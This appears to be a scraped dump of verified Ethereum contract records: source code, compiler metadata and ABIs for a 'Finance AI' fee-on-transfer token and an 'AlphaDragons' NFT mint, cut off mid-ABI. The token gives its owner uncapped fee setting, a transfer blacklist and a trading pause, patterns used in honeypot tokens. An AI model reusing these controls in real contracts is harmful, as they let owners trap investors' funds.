_balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { if(tokenAmount==0){return;} if(!tradingOpen){return;} address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; transferDelayEnabled=false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function isBot(address a) public view returns (bool){ return bots[a]; } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } receive() external payable {} function isContract(address account) private view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } }

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v0.8.20+commit.a1b79de6

Default

MIT

ipfs://e9ae2560f2f9b3678a90e9abefe085aafcc5d87913713ccc88de7ecd4b9e7436

FinanceAI

FinanceAI.sol

0x9519c0b33448482c2bd1859b1fd978f7c2aa915b

Solidity

/** https://www.aiFinance.io Finance AI provides machine learning software for data scientists, business analysts, software engineers, executives and IT professionals. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FinanceAI is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Finance AI"; string private constant _symbol = "F2AI"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 0; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 6; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x5509Fb9cCa22a05be896A548b3b15E309DD6fb4e); address payable private _marketingAddress = payable(0x5509Fb9cCa22a05be896A548b3b15E309DD6fb4e); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = true; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.17+commit.8df45f5f

Default

Unlicense

ipfs://36bc677b8581dc0d19263232f04e6da0b9cb0776f43b9d0c9f62bbbaa3416f2e

AlphaDragons

contracts/AlphaDragons.sol

0x29a9919ff193da11780e78a00bbe8a8f037d9218

Solidity

// SPDX-License-Identifier: MIT pragma solidity >=0.8.9 <0.9.0; import 'erc721a/contracts/ERC721A.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; contract AlphaDragons is ERC721A, Ownable, ReentrancyGuard { using Strings for uint256; bytes32 public merkleRoot; mapping(address => bool) public whitelistClaimed; string public uriPrefix = ''; string public uriSuffix = '.json'; string public hiddenMetadataUri; uint256 public cost; uint256 public maxSupply; uint256 public maxMintAmountPerTx; bool public paused = true; bool public whitelistMintEnabled = false; bool public revealed = false; constructor( string memory _tokenName, string memory _tokenSymbol, uint256 _cost, uint256 _maxSupply, uint256 _maxMintAmountPerTx, string memory _hiddenMetadataUri ) ERC721A(_tokenName, _tokenSymbol) { setCost(_cost); maxSupply = _maxSupply; setMaxMintAmountPerTx(_maxMintAmountPerTx); setHiddenMetadataUri(_hiddenMetadataUri); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, 'Invalid mint amount!'); require(totalSupply() + _mintAmount <= maxSupply, 'Max supply exceeded!'); _; } modifier mintPriceCompliance(uint256 _mintAmount) { require(msg.value >= cost * _mintAmount, 'Insufficient funds!'); _; } function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) { // Verify whitelist requirements require(whitelistMintEnabled, 'The whitelist sale is not enabled!'); require(!whitelistClaimed[_msgSender()], 'Address already claimed!'); bytes32 leaf = keccak256(abi.encodePacked(_msgSender())); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), 'Invalid proof!'); whitelistClaimed[_msgSender()] = true; _safeMint(_msgSender(), _mintAmount); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) { require(!paused, 'The contract is paused!'); _safeMint(_msgSender(), _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _safeMint(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = _startTokenId(); uint256 ownedTokenIndex = 0; address latestOwnerAddress; while (ownedTokenIndex < ownerTokenCount && currentTokenId < _currentIndex) { TokenOwnership memory ownership = _ownerships[currentTokenId]; if (!ownership.burned) { if (ownership.addr != address(0)) { latestOwnerAddress = ownership.addr; } if (latestOwnerAddress == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } } currentTokenId++; } return ownedTokenIds; } function _startTokenId() internal view virtual override returns (uint256) { return 1; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require(_exists(_tokenId), 'ERC721Metadata: URI query for nonexistent token'); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ''; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner { merkleRoot = _merkleRoot; } function setWhitelistMintEnabled(bool _state) public onlyOwner { whitelistMintEnabled = _state; } function withdraw() public onlyOwner nonReentrant { // This will transfer the remaining contract balance to the owner. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(''); require(os); // ============================================================================= } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } }

[{"inputs":[{"internalType":"string","name":"_tokenName","type":"string"},{"internalType":"string","name":"_tokenSymbol","type":"string"},{"internalType":"uint256","name":"_cost","type":"uint256"},{"internalType":"uint256","name":"_maxSupply","type":"uint256"},{"internalType":"uint256","name":"_maxMintAmountPerTx","type":"uint256"},{"internalType":"string","name":"_hiddenMetadataUri","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"ApprovalToCurrentOwner","type":"error"},{"inputs":[],"name":"ApproveToCaller","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hiddenMetadataUri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxMintAmountPerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"merkleRoot","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"},{"internalType":"address","name":"_receiver","type":"address"}],"name":"mintForAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revealed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_cost","type":"uint256"}],"name":"setCost","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_hiddenMetadataUri","type":"string"}],"name":"setHiddenMetadataUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxMintAmountPerTx","type":"uint256"}],"name":"setMaxMintAmountPerTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_merkleRoot","type":"bytes32"}],"name":"setMerkleRoot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"setPaused","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"setRevealed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_uriPrefix","type":"string"}],"name":"setUriPrefix","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"in